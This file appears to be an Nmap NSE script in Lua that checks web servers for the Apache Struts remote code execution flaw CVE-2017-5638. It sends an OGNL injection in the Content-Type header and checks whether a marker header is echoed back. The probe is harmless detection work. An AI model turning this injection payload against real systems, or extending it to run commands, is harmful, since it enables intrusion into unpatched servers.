79 lines
2.5 KiB
Lua
79 lines
2.5 KiB
Lua
description = [[
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Detects whether the specified URL is vulnerable to the Apache Struts
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Remote Code Execution Vulnerability (CVE-2017-5638).
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]]
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local http = require "http"
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local shortport = require "shortport"
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local vulns = require "vulns"
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local stdnse = require "stdnse"
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local string = require "string"
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local rand = require "rand"
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---
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-- @usage
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-- nmap -p <port> --script http-vuln-cve2017-5638 <target>
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--
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-- @output
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-- PORT STATE SERVICE
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-- 80/tcp open http
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-- | http-vuln-cve2017-5638:
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-- | VULNERABLE
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-- | Apache Struts Remote Code Execution Vulnerability
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-- | State: VULNERABLE
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-- | IDs: CVE:CVE-2017-5638
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-- |
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-- | Disclosure date: 2017-03-07
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-- | References:
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-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
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-- | https://cwiki.apache.org/confluence/display/WW/S2-045
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-- |_ http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html
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--
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-- @args http-vuln-cve2017-5638.method The HTTP method for the request. The default method is "GET".
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-- @args http-vuln-cve2017-5638.path The URL path to request. The default path is "/".
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author = "Seth Jackson"
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license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
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categories = { "vuln" }
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portrule = shortport.http
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action = function(host, port)
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local vuln = {
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title = "Apache Struts Remote Code Execution Vulnerability",
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state = vulns.STATE.NOT_VULN,
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description = [[
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Apache Struts 2.3.5 - Struts 2.3.31 and Apache Struts 2.5 - Struts 2.5.10 are vulnerable to a Remote Code Execution
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vulnerability via the Content-Type header.
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]],
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IDS = {
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CVE = "CVE-2017-5638"
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},
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references = {
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'https://cwiki.apache.org/confluence/display/WW/S2-045',
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'http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html'
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},
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dates = {
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disclosure = { year = '2017', month = '03', day = '07' }
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}
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}
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local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
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local method = stdnse.get_script_args(SCRIPT_NAME..".method") or "GET"
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local path = stdnse.get_script_args(SCRIPT_NAME..".path") or "/"
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local value = rand.random_alpha(8)
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local header = {
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["Content-Type"] = string.format("%%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Check-Struts', '%s')}.multipart/form-data", value)
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}
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local response = http.generic_request(host, port, method, path, { header = header })
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if response and response.status == 200 and response.header["x-check-struts"] == value then
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vuln.state = vulns.STATE.VULN
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end
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return vuln_report:make_output(vuln)
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end
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